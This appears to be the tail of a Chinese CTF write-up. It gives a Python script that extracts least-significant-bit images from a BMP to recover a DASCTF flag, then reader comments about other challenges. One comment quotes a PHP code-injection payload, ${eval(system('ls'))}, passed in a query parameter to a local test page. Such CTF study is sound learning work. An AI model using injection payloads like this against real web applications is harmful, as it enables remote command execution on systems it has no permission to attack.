最终脚本如下:

from PIL import Image
pic = Image.open('cipher.bmp')
a, b = pic.size
r1 = []  # 储存r、g、b通道
g1 = []
b1 = []
r2 = []  # 一行一行临时储存
g2 = []
b2 = []
for y in range(b):
    for x in range(a):
        r2.append(pic.getpixel((x, y))[0] % 2)
        g2.append(pic.getpixel((x, y))[1] % 2)
        b2.append(pic.getpixel((x, y))[2] % 2)
    r1.append(r2)
    g1.append(g2)
    b1.append(b2)
    r2 = []
    g2 = []
    b2 = []
pic_1 = Image.new('L', (a, b*3), 255)
for y in range(0, len(r1)*3, 3):
    for x in range(len(r1[0])):
        pic_1.putpixel((x, y), g1[y//3][x] * 255)
        pic_1.putpixel((x, y+1), r1[y//3][x] * 255)
        pic_1.putpixel((x, y+2), b1[y//3][x] * 255)
pic_1.show()
# pic_1.save('flag.bmp')

最终加一下汉信码标识符,扫码即可得到flag(这里加的有点粗糙)。

img

最终得到flag:

DASCTF{13833babbd434be3e2882f507ce5f8ae}
  1. newbie说道:
    Google Chrome Windows 10
    tql,问下:魔法密文这题wp是不是忘了贴?
  2. 奇怪说道:
    Google Chrome Windows 10
    七月师傅好,我想请教一个问题,比赛在做web题的时候,我写的语句跟您写的一样,但是当时没有执行成功。然后我就保留了一下源码,但是刚刚用您构造的语句也是没有执行成功 http://127.0.0.1/test.php?attrid=0&attrstr=${eval(system('ls'))} echo $attrid; echo $attrstr; 0 ${eval(system('ls'))}array("0"="");(带有箭头不允许提交所以就去掉了) {eval(system('ls'))}array("0"="");
    1. 7yue说道:
      Firefox Windows 10

      这语句肯定是没问题的,师傅看看是不是环境的问题?

  3. Em0s_Er1t说道:
    Google Chrome Windows 10
    麻烦问一下逆向的魔法叠加是如何判断出来是python3.7的,具体如何fuzz {{fadai}}
    1. 7yue说道:
      Firefox Windows 10

      后面的长度数据块修改完之后,多尝试一下前两位字节就可以了。因为pyc文件的版本信息就保存在前两位,然后看看自己电脑里的pyc文件,试几种版本就可以了。

  4. 木の舟说道:
    Firefox Windows 10
    谜音那题从音频中听到的数字怎么用啊
    1. 7yue说道:
      Google Chrome Windows 10

      听完之后就是十进制转asc编码,asc范围是0-127。如果听到127以上的,那就说明听错了。比如100 51,可能会听成151。

发表评论